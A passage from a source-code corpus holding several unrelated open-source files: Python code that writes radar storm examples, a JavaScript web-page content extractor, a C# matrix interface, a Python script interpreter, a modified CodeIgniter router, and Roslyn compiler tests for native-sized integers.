these_unique_classes, these_unique_counts = numpy.unique(
target_matrix[:, j], return_counts=True
)
for k in range(len(these_unique_classes)):
print((
'Number of examples with "{0:s}" in class {1:d} = {2:d}'
).format(
target_names[j], these_unique_classes[k], these_unique_counts[k]
))
print('\n')
first_spc_date_string = time_conversion.time_to_spc_date_string(
numpy.min(storm_times_unix_sec)
)
last_spc_date_string = time_conversion.time_to_spc_date_string(
numpy.max(storm_times_unix_sec)
)
spc_date_strings = time_conversion.get_spc_dates_in_range(
first_spc_date_string=first_spc_date_string,
last_spc_date_string=last_spc_date_string)
spc_date_to_out_file_dict = {}
for this_spc_date_string in spc_date_strings:
this_file_name = find_example_file(
top_directory_name=top_output_dir_name, shuffled=False,
spc_date_string=this_spc_date_string,
raise_error_if_missing=False)
if os.path.isfile(this_file_name):
os.remove(this_file_name)
spc_date_to_out_file_dict[this_spc_date_string] = this_file_name
for i in range(num_file_times):
if radar_file_name_matrix is None:
this_file_name = reflectivity_file_name_matrix[i, 0]
else:
this_file_name = numpy.ravel(radar_file_name_matrix[i, ...])[0]
this_time_unix_sec, this_spc_date_string = (
storm_images.image_file_name_to_time(this_file_name)
)
if this_time_unix_sec is None:
this_first_time_unix_sec = (
time_conversion.get_start_of_spc_date(this_spc_date_string)
)
this_last_time_unix_sec = (
time_conversion.get_end_of_spc_date(this_spc_date_string)
)
else:
this_first_time_unix_sec = this_time_unix_sec + 0
this_last_time_unix_sec = this_time_unix_sec + 0
these_indices = numpy.where(
numpy.logical_and(
storm_times_unix_sec >= this_first_time_unix_sec,
storm_times_unix_sec <= this_last_time_unix_sec)
)[0]
if len(these_indices) == 0:
continue
these_full_id_strings = [full_id_strings[m] for m in these_indices]
these_storm_times_unix_sec = storm_times_unix_sec[these_indices]
this_target_matrix = target_matrix[these_indices, :]
if sounding_file_names is None:
this_sounding_file_name = None
else:
this_sounding_file_name = sounding_file_names[i]
if radar_file_name_matrix is None:
this_example_dict = _create_2d3d_examples_myrorss(
azimuthal_shear_file_names=az_shear_file_name_matrix[
i, ...].tolist(),
reflectivity_file_names=reflectivity_file_name_matrix[
i, ...].tolist(),
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
elif num_file_dimensions == 3:
this_example_dict = _create_3d_examples(
radar_file_name_matrix=radar_file_name_matrix[i, ...],
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
else:
this_example_dict = _create_2d_examples(
radar_file_names=radar_file_name_matrix[i, ...].tolist(),
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
print('\n')
if this_example_dict is None:
continue
this_example_dict.update({TARGET_NAMES_KEY: target_names})
this_output_file_name = spc_date_to_out_file_dict[this_spc_date_string]
print('Writing examples to: "{0:s}"...'.format(this_output_file_name))
write_example_file(
netcdf_file_name=this_output_file_name,
example_dict=this_example_dict,
append_to_file=os.path.isfile(this_output_file_name)
)
| thunderhoser/GewitterGefahr | gewittergefahr/deep_learning/input_examples.py | Python | mit | 103,640 |
var curl = require('./lib/curl');
var clean = require('./lib/extract');
curl('http://blog.rainy.im/2015/09/02/web-content-and-main-image-extractor/', function (content) {
console.log('fetch done');
clean(content, {
blockSize: 3
});
});
| SKing7/extractor | index.js | JavaScript | mit | 257 |
// IMatrix.cs, 07.11.2019
// Copyright (C) Dominic Beger 07.11.2019
namespace SharpMath.Geometry
{
public interface IMatrix
{
uint ColumnCount { get; }
double this[uint row, uint column] { get; set; }
double this[uint index] { get; set; }
uint RowCount { get; }
}
} | ProgTrade/SharpMath | SharpMath/Geometry/IMatrix.cs | C# | mit | 313 |
import os
import re
import sys
import json
import shlex
import logging
import inspect
import functools
import importlib
from pprint import pformat
from collections import namedtuple
from traceback import format_tb
from requests.exceptions import RequestException
import strutil
from cachely.loader import Loader
from .lib import library, interpreter_library, DataProxy
from . import utils
from . import core
from . import exceptions
logger = logging.getLogger(__name__)
BASE_LIBS = ['snagit.lib.text', 'snagit.lib.lines', 'snagit.lib.soup']
ReType = type(re.compile(''))
class Instruction(namedtuple('Instruction', 'cmd args kws line lineno')):
'''
``Instruction``'s take the form::
command [arg [arg ...]] [key=arg [key=arg ...]]
Where ``arg`` can be one of: single quoted string, double quoted string,
digit, True, False, None, or a simple, unquoted string.
'''
values_pat = r'''
[rj]?'(?:(\'|[^'])*?)' |
[r]?"(?:(\"|[^"])*?)" |
(\d+) |
(True|False|None) |
([^\s,]+)
'''
args_re = re.compile(
r'''^(
(?P<kwd>\w[\w\d-]*)=(?P<val>{0}) |
(?P<arg>{0}|([\s,]+))
)\s*'''.format(values_pat),
re.VERBOSE
)
value_dict = {'True': True, 'False': False, 'None': None}
def __str__(self):
def _repr(w):
if isinstance(w, ReType):
return 'r"{}"'.format(str(w.pattern))
return repr(w)
return '{}{}{}'.format(
self.cmd.upper(),
' {}'.format(
' '.join([_repr(c) for c in self.args]) if self.args else ''
),
' {}'.format(' '.join(
'{}={}'.format(k, _repr(v)) for k, v in self.kws.items()
) if self.kws else '')
)
@classmethod
def get_value(cls, s):
if s.isdigit():
return int(s)
elif s in cls.value_dict:
return cls.value_dict[s]
elif s.startswith(('r"', "r'")):
return re.compile(utils.escaped(s[2:-1]))
elif s.startswith("j'"):
return json.loads(utils.escaped(s[2:-1]))
elif s.startswith(('"', "'")):
return utils.escaped(s[1:-1])
else:
return s.strip()
@classmethod
def parse(cls, line, lineno):
args = []
kws = {}
cmd, text = strutil.splitter(line, expected=2, strip=True)
cmd = cmd.lower()
while text:
m = cls.args_re.search(text)
if not m:
break
gdict = m.groupdict()
kwd = gdict.get('kwd')
if kwd:
kws[kwd] = cls.get_value(gdict.get('val', ''))
else:
arg = gdict.get('arg', '').strip()
if arg != ',':
args.append(cls.get_value(arg))
text = text[len(m.group()):]
if text:
raise SyntaxError(
'Syntax error: "{}" (line {})'.format(text, lineno)
)
return cls(cmd, args, kws, line, lineno)
def lexer(code, lineno=0):
'''
Takes the script source code, scans it, and lexes it into
``Instructions``
'''
for chars in code.splitlines():
lineno += 1
line = chars.rstrip()
if not line or line.lstrip().startswith('#'):
continue
logger.debug('Lexed {} byte(s) line {}'.format(len(line), chars))
yield Instruction.parse(line, lineno)
def load_libraries(extensions=None):
if isinstance(extensions, str):
extensions = [extensions]
libs = BASE_LIBS + (extensions or [])
for lib in libs:
importlib.import_module(lib)
class Interpreter:
def __init__(
self,
contents=None,
loader=None,
use_cache=False,
do_pm=False,
extensions=None
):
self.use_cache = use_cache
self.loader = loader if loader else Loader(use_cache=use_cache)
self.contents = Contents(contents)
self.do_debug = False
self.do_pm = do_pm
self.instructions = []
load_libraries(extensions)
def load_sources(self, sources, use_cache=None):
use_cache = self.use_cache if use_cache is None else bool(use_cache)
contents = self.loader.load_sources(sources)
self.contents.update([
ct.decode() if isinstance(ct, bytes) else ct for ct in contents
])
def listing(self, linenos=False):
items = []
for instr in self.instructions:
items.append('{}{}'.format(
'{} '.format(instr.lineno) if linenos else '',
instr.line
))
return items
def lex(self, code):
lineno = self.instructions[-1].lineno if self.instructions else 0
instructions = list(lexer(code, lineno))
self.instructions.extend(instructions)
return instructions
def execute(self, code):
for instr in self.lex(code):
try:
self._execute_instruction(instr)
except exceptions.ProgramWarning as why:
print(why)
return self.contents
def _load_handler(self, instr):
if instr.cmd in library.registry:
func = library.registry[instr.cmd]
return self.contents, (func, instr.args, instr.kws)
elif instr.cmd in interpreter_library.registry:
func = interpreter_library.registry[instr.cmd]
return func, (self, instr.args, instr.kws)
raise exceptions.ProgramWarning(
'Unknown instruction (line {}): {}'.format(instr.lineno, instr.cmd)
)
def _execute_instruction(self, instr):
logger.debug('Executing {}'.format(instr.cmd))
handler, args = self._load_handler(instr)
do_debug, self.do_debug = self.do_debug, False
if do_debug:
utils.pdb.set_trace()
try:
handler(*args)
except Exception:
exc, value, tb = sys.exc_info()
if self.do_pm:
logger.error(
'Script exception, line {}: {} (Entering post_mortem)'.format( # noqa
instr.lineno,
value
)
)
utils.pdb.post_mortem(tb)
else:
raise
def execute_script(filename, contents=''):
code = utils.read_file(filename)
return execute_code(code, contents)
def execute_code(code, contents=''):
intrep = Interpreter(contents)
return str(intrep.execute(code))
class Contents:
def __init__(self, contents=None):
self.stack = []
self.set_contents(contents)
def __iter__(self):
return iter(self.contents)
def __len__(self):
return len(self.contents)
def __str__(self):
return '\n'.join(str(c) for c in self)
# def __getitem__(self, index):
# return self.contents[index]
def pop(self):
if self.stack:
self.contents = self.stack.pop()
def __call__(self, func, args, kws):
contents = []
for data in self:
result = func(data, args, kws)
contents.append(result)
self.update(contents)
def merge(self):
if self.contents:
first = self.contents[0]
data = first.merge(self.contents)
self.update([data])
def update(self, contents):
if self.contents:
self.stack.append(self.contents)
self.set_contents(contents)
def set_contents(self, contents):
self.contents = []
if isinstance(contents, (str, bytes)):
contents = [contents]
contents = contents or []
for ct in contents:
if isinstance(ct, (str, bytes)):
ct = DataProxy(ct)
self.contents.append(ct)
| dakrauth/snarf | snagit/core.py | Python | mit | 7,965 |
<?php
/**
* CodeIgniter
*
* An open source application development framework for PHP
*
* This content is released under the MIT License (MIT)
*
* Copyright (c) 2014 - 2017, British Columbia Institute of Technology
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* @package CodeIgniter
* @author EllisLab Dev Team
* @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/)
* @copyright Copyright (c) 2014 - 2017, British Columbia Institute of Technology (http://bcit.ca/)
* @license http://opensource.org/licenses/MIT MIT License
* @link https://codeigniter.com
* @since Version 1.0.0
* @filesource
*/
defined('BASEPATH') OR exit('No direct script access allowed');
/**
* Router Class
*
* Parses URIs and determines routing
*
* @package CodeIgniter
* @subpackage Libraries
* @category Libraries
* @author EllisLab Dev Team
* @link https://codeigniter.com/user_guide/general/routing.html
*/
class CI_Router {
/**
* CI_Config class object
*
* @var object
*/
public $config;
/**
* List of routes
*
* @var array
*/
public $routes = array();
/**
* Current class name
*
* @var string
*/
public $class = '';
/**
* Current method name
*
* @var string
*/
public $method = 'index';
/**
* Sub-directory that contains the requested controller class
*
* @var string
*/
public $directory;
/**
* Default controller (and method if specific)
*
* @var string
*/
public $default_controller;
/**
* Translate URI dashes
*
* Determines whether dashes in controller & method segments
* should be automatically replaced by underscores.
*
* @var bool
*/
public $translate_uri_dashes = FALSE;
/**
* Enable query strings flag
*
* Determines whether to use GET parameters or segment URIs
*
* @var bool
*/
public $enable_query_strings = FALSE;
// --------------------------------------------------------------------
/**
* Class constructor
*
* Runs the route mapping function.
*
* @param array $routing
* @return void
*/
public function __construct($routing = NULL)
{
$this->config =& load_class('Config', 'core');
$this->uri =& load_class('URI', 'core');
$this->enable_query_strings = ( ! is_cli() && $this->config->item('enable_query_strings') === TRUE);
// If a directory override is configured, it has to be set before any dynamic routing logic
is_array($routing) && isset($routing['directory']) && $this->set_directory($routing['directory']);
$this->_set_routing();
// Set any routing overrides that may exist in the main index file
if (is_array($routing))
{
empty($routing['controller']) OR $this->set_class($routing['controller']);
empty($routing['function']) OR $this->set_method($routing['function']);
}
log_message('info', 'Router Class Initialized');
}
// --------------------------------------------------------------------
/**
* Set route mapping
*
* Determines what should be served based on the URI request,
* as well as any "routes" that have been set in the routing config file.
*
* @return void
*/
protected function _set_routing()
{
// Load the routes.php file. It would be great if we could
// skip this for enable_query_strings = TRUE, but then
// default_controller would be empty ...
if (file_exists(APPPATH.'config/routes.php'))
{
include(APPPATH.'config/routes.php');
}
if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/routes.php'))
{
include(APPPATH.'config/'.ENVIRONMENT.'/routes.php');
}
// Validate & get reserved routes
if (isset($route) && is_array($route))
{
isset($route['default_controller']) && $this->default_controller = $route['default_controller'];
isset($route['translate_uri_dashes']) && $this->translate_uri_dashes = $route['translate_uri_dashes'];
unset($route['default_controller'], $route['translate_uri_dashes']);
$this->routes = $route;
}
// Are query strings enabled in the config file? Normally CI doesn't utilize query strings
// since URI segments are more search-engine friendly, but they can optionally be used.
// If this feature is enabled, we will gather the directory/class/method a little differently
if ($this->enable_query_strings)
{
// If the directory is set at this time, it means an override exists, so skip the checks
if ( ! isset($this->directory))
{
$_d = $this->config->item('directory_trigger');
$_d = isset($_GET[$_d]) ? trim($_GET[$_d], " \t\n\r\0\x0B/") : '';
if ($_d !== '')
{
$this->uri->filter_uri($_d);
$this->set_directory($_d);
}
}
$_c = trim($this->config->item('controller_trigger'));
if ( ! empty($_GET[$_c]))
{
$this->uri->filter_uri($_GET[$_c]);
$this->set_class($_GET[$_c]);
$_f = trim($this->config->item('function_trigger'));
if ( ! empty($_GET[$_f]))
{
$this->uri->filter_uri($_GET[$_f]);
$this->set_method($_GET[$_f]);
}
$this->uri->rsegments = array(
1 => $this->class,
2 => $this->method
);
}
else
{
$this->_set_default_controller();
}
// Routing rules don't apply to query strings and we don't need to detect
// directories, so we're done here
return;
}
// Is there anything to parse?
if ($this->uri->uri_string !== '')
{
$this->_parse_routes();
}
else
{
$this->_set_default_controller();
}
}
// --------------------------------------------------------------------
/**
* Set request route
*
* Takes an array of URI segments as input and sets the class/method
* to be called.
*
* @used-by CI_Router::_parse_routes()
* @param array $segments URI segments
* @return void
*/
protected function _set_request($segments = array())
{
$segments = $this->_validate_request($segments);
// If we don't have any segments left - try the default controller;
// WARNING: Directories get shifted out of the segments array!
if (empty($segments))
{
$this->_set_default_controller();
return;
}
if ($this->translate_uri_dashes === TRUE)
{
$segments[0] = str_replace('-', '_', $segments[0]);
if (isset($segments[1]))
{
$segments[1] = str_replace('-', '_', $segments[1]);
}
}
$this->set_class($segments[0]);
if (isset($segments[1]))
{
$this->set_method($segments[1]);
}
else
{
$this->set_method('index');
$segments[1] = $this->method;
}
array_unshift($segments, NULL);
unset($segments[0]);
$this->uri->rsegments = $segments;
}
// --------------------------------------------------------------------
/**
* Set default controller
*
* @return void
*/
protected function _set_default_controller()
{
if (empty($this->default_controller))
{
show_error('Unable to determine what should be displayed. A default route has not been specified in the routing file.');
}
// Is the method being specified?
if (sscanf($this->default_controller, '%[^/]/%s', $class, $method) !== 2)
{
$method = 'index';
}
if ( ! file_exists(APPPATH.'controllers/'.$this->directory.ucfirst($class).'.php'))
{
// This will trigger 404 later
return;
}
$this->set_class($class);
$this->set_method($method);
// Assign routed segments, index starting from 1
$this->uri->rsegments = array(
1 => $class,
2 => $method
);
}
// --------------------------------------------------------------------
/**
* Validate request
*
* Attempts validate the URI request and determine the controller path.
*
* @used-by CI_Router::_set_request()
* @param array $segments URI segments
* @return mixed URI segments
*/
protected function _validate_request($segments)
{
$c = count($segments);
$directory_override = isset($this->directory);
// Loop through our segments and return as soon as a controller
// is found or when such a directory doesn't exist
while ($c-- > 0)
{
$test = $this->directory
.ucfirst($this->translate_uri_dashes === TRUE ? str_replace('-', '_', $segments[0]) : $segments[0]);
if ( ! file_exists(APPPATH.'controllers/'.$test.'.php')
&& $directory_override === FALSE
&& is_dir(APPPATH.'controllers/'.$this->directory.$segments[0])
)
{
$this->set_directory(array_shift($segments), TRUE);
continue;
}
return $segments;
}
// This means that all segments were actually directories
return $segments;
}
// --------------------------------------------------------------------
/**
* Parse Routes
*
* Matches any routes that may exist in the config/routes.php file
* against the URI to determine if the class/method need to be remapped.
*
* @return void
*/
protected function _parse_routes()
{
// Turn the segment array into a URI string
$uri = implode('/', $this->uri->segments);
/*/ Get HTTP verb
$http_verb = isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) : 'cli';
// Loop through the route array looking for wildcards
foreach ($this->routes as $key => $val)
{
// Check if route format is using HTTP verbs
if (is_array($val))
{
$val = array_change_key_case($val, CASE_LOWER);
if (isset($val[$http_verb]))
{
$val = $val[$http_verb];
}
else
{
continue;
}
}
// Convert wildcards to RegEx
$key = str_replace(array(':any', ':num'), array('[^/]+', '[0-9]+'), $key);
// Does the RegEx match?
if (preg_match('#^'.$key.'$#', $uri, $matches))
{
// Are we using callbacks to process back-references?
if ( ! is_string($val) && is_callable($val))
{
// Remove the original string from the matches array.
array_shift($matches);
// Execute the callback using the values in matches as its parameters.
$val = call_user_func_array($val, $matches);
}
// Are we using the default routing method for back-references?
elseif (strpos($val, '$') !== FALSE && strpos($key, '(') !== FALSE)
{
$val = preg_replace('#^'.$key.'$#', $val, $uri);
}
$this->_set_request(explode('/', $val));
return;
}
}*/
// If we got this far it means we didn't encounter a
// matching route so we'll set the site default route
$this->_set_request(array_values($this->uri->segments));
}
// --------------------------------------------------------------------
/**
* Set class name
*
* @param string $class Class name
* @return void
*/
public function set_class($class)
{
$this->class = str_replace(array('/', '.'), '', $class);
}
// --------------------------------------------------------------------
/**
* Set method name
*
* @param string $method Method name
* @return void
*/
public function set_method($method)
{
if ($this->config->item('restful')===TRUE
&&isset($_SERVER['REQUEST_METHOD'])){
switch ($_SERVER['REQUEST_METHOD']) {
case 'POST':
$this->method = 'add'.$method;
break;
case 'PUT':
$this->method = 'mod'.$method;
break;
case 'DELETE':
$this->method = 'del'.$method;
break;
default:
$this->method = $method;
break;
}
}else $this->method = $method;
}
// --------------------------------------------------------------------
/**
* Set directory name
*
* @param string $dir Directory name
* @param bool $append Whether we're appending rather than setting the full value
* @return void
*/
public function set_directory($dir, $append = FALSE)
{
if ($append !== TRUE OR empty($this->directory))
{
$this->directory = str_replace('.', '', trim($dir, '/')).'/';
}
else
{
$this->directory .= str_replace('.', '', trim($dir, '/')).'/';
}
}
}
| smallp/CodeIgniter | system/core/Router.php | PHP | mit | 12,647 |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Linq;
using Microsoft.CodeAnalysis.CSharp.Symbols;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.CSharp.Test.Utilities;
using Microsoft.CodeAnalysis.Emit;
using Microsoft.CodeAnalysis.PooledObjects;
using Microsoft.CodeAnalysis.Test.Extensions;
using Microsoft.CodeAnalysis.Test.Utilities;
using Roslyn.Test.Utilities;
using Roslyn.Utilities;
using Xunit;
using ReferenceEqualityComparer = Roslyn.Utilities.ReferenceEqualityComparer;
namespace Microsoft.CodeAnalysis.CSharp.UnitTests.Semantics
{
public class NativeIntegerTests : CSharpTestBase
{
[Fact]
public void LanguageVersion()
{
var source =
@"interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (3,5): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 5),
// (3,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 14),
// (3,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(3, 22));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
/// <summary>
/// System.IntPtr and System.UIntPtr definitions from metadata.
/// </summary>
[Fact]
public void TypeDefinitions_FromMetadata()
{
var source =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var type = comp.GetTypeByMetadataName("System.IntPtr");
VerifyType(type, signed: true, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: true, isNativeInt: false);
type = comp.GetTypeByMetadataName("System.UIntPtr");
VerifyType(type, signed: false, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: false, isNativeInt: false);
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
Assert.Equal("Sub I.F1(x As System.IntPtr, y As System.IntPtr)", VisualBasic.SymbolDisplay.ToDisplayString(method.GetPublicSymbol(), SymbolDisplayFormat.TestFormat));
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
Assert.Equal("Sub I.F2(x As System.UIntPtr, y As System.UIntPtr)", VisualBasic.SymbolDisplay.ToDisplayString(method.GetPublicSymbol(), SymbolDisplayFormat.TestFormat));
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
/// <summary>
/// System.IntPtr and System.UIntPtr definitions from source.
/// </summary>
[Fact]
public void TypeDefinitions_FromSource()
{
var sourceA =
@"namespace System
{
public class Object
{
public virtual string ToString() => null;
public virtual int GetHashCode() => 0;
public virtual bool Equals(object obj) => false;
}
public class String { }
public abstract class ValueType
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T>
{
bool Equals(T other);
}
public struct IntPtr : IEquatable<IntPtr>
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
bool IEquatable<IntPtr>.Equals(IntPtr other) => false;
}
public struct UIntPtr : IEquatable<UIntPtr>
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
bool IEquatable<UIntPtr>.Equals(UIntPtr other) => false;
}
}";
var sourceB =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var type = comp.GetTypeByMetadataName("System.IntPtr");
VerifyType(type, signed: true, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: true, isNativeInt: false);
type = comp.GetTypeByMetadataName("System.UIntPtr");
VerifyType(type, signed: false, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: false, isNativeInt: false);
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
}
private static void VerifyType(NamedTypeSymbol type, bool signed, bool isNativeInt)
{
Assert.Equal(signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr, type.SpecialType);
Assert.Equal(SymbolKind.NamedType, type.Kind);
Assert.Equal(TypeKind.Struct, type.TypeKind);
Assert.Same(type, type.ConstructedFrom);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(signed ? "IntPtr" : "UIntPtr", type.Name);
if (isNativeInt)
{
VerifyMembers(type);
}
}
private static void VerifyType(INamedTypeSymbol type, bool signed, bool isNativeInt)
{
Assert.Equal(signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr, type.SpecialType);
Assert.Equal(SymbolKind.NamedType, type.Kind);
Assert.Equal(TypeKind.Struct, type.TypeKind);
Assert.Same(type, type.ConstructedFrom);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(signed ? "IntPtr" : "UIntPtr", type.Name);
if (isNativeInt)
{
VerifyMembers(type);
}
}
private static void VerifyTypes(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
VerifyType(underlyingType, signed, isNativeInt: false);
VerifyType(nativeIntegerType, signed, isNativeInt: true);
Assert.Same(underlyingType.ContainingSymbol, nativeIntegerType.ContainingSymbol);
Assert.Same(underlyingType.Name, nativeIntegerType.Name);
VerifyMembers(underlyingType, nativeIntegerType, signed);
VerifyInterfaces(underlyingType, underlyingType.Interfaces, nativeIntegerType, nativeIntegerType.Interfaces);
Assert.NotSame(underlyingType, nativeIntegerType);
Assert.Same(underlyingType, nativeIntegerType.NativeIntegerUnderlyingType);
Assert.NotEqual(underlyingType, nativeIntegerType);
Assert.NotEqual(nativeIntegerType, underlyingType);
Assert.False(underlyingType.Equals(nativeIntegerType));
Assert.False(((IEquatable<ISymbol>)underlyingType).Equals(nativeIntegerType));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.Default));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.IncludeNullability));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.ConsiderEverything));
Assert.True(underlyingType.Equals(nativeIntegerType, TypeCompareKind.IgnoreNativeIntegers));
Assert.Equal(underlyingType.GetHashCode(), nativeIntegerType.GetHashCode());
}
private static void VerifyInterfaces(INamedTypeSymbol underlyingType, ImmutableArray<INamedTypeSymbol> underlyingInterfaces, INamedTypeSymbol nativeIntegerType, ImmutableArray<INamedTypeSymbol> nativeIntegerInterfaces)
{
Assert.Equal(underlyingInterfaces.Length, nativeIntegerInterfaces.Length);
for (int i = 0; i < underlyingInterfaces.Length; i++)
{
verifyInterface(underlyingInterfaces[i], nativeIntegerInterfaces[i]);
}
void verifyInterface(INamedTypeSymbol underlyingInterface, INamedTypeSymbol nativeIntegerInterface)
{
Assert.True(underlyingInterface.Equals(nativeIntegerInterface, TypeCompareKind.IgnoreNativeIntegers));
for (int i = 0; i < underlyingInterface.TypeArguments.Length; i++)
{
var underlyingTypeArgument = underlyingInterface.TypeArguments[i];
var nativeIntegerTypeArgument = nativeIntegerInterface.TypeArguments[i];
Assert.Equal(underlyingTypeArgument.Equals(underlyingType, TypeCompareKind.AllIgnoreOptions), nativeIntegerTypeArgument.Equals(nativeIntegerType, TypeCompareKind.AllIgnoreOptions));
}
}
}
private static void VerifyMembers(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
Assert.Empty(nativeIntegerType.GetTypeMembers());
var nativeIntegerMembers = nativeIntegerType.GetMembers();
var underlyingMembers = underlyingType.GetMembers();
var nativeIntegerMemberNames = nativeIntegerType.MemberNames;
AssertEx.Equal(nativeIntegerMembers.SelectAsArray(m => m.Name), nativeIntegerMemberNames);
var expectedMembers = underlyingMembers.WhereAsArray(m => includeUnderlyingMember(m)).Sort(SymbolComparison).SelectAsArray(m => m.ToTestDisplayString());
var actualMembers = nativeIntegerMembers.WhereAsArray(m => includeNativeIntegerMember(m)).Sort(SymbolComparison).SelectAsArray(m => m.ToTestDisplayString().Replace(signed ? "nint" : "nuint", signed ? "System.IntPtr" : "System.UIntPtr"));
AssertEx.Equal(expectedMembers, actualMembers);
static bool includeUnderlyingMember(ISymbol underlyingMember)
{
if (underlyingMember.DeclaredAccessibility != Accessibility.Public)
{
return false;
}
switch (underlyingMember.Kind)
{
case SymbolKind.Method:
var method = (IMethodSymbol)underlyingMember;
if (method.IsGenericMethod)
{
return false;
}
switch (method.MethodKind)
{
case MethodKind.Ordinary:
return !IsSkippedMethodName(method.Name);
case MethodKind.PropertyGet:
case MethodKind.PropertySet:
return includeUnderlyingMember(method.AssociatedSymbol);
default:
return false;
}
case SymbolKind.Property:
var property = (IPropertySymbol)underlyingMember;
return property.Parameters.Length == 0 && !IsSkippedPropertyName(property.Name);
default:
return false;
}
}
static bool includeNativeIntegerMember(ISymbol nativeIntegerMember)
{
return !(nativeIntegerMember is IMethodSymbol { MethodKind: MethodKind.Constructor });
}
}
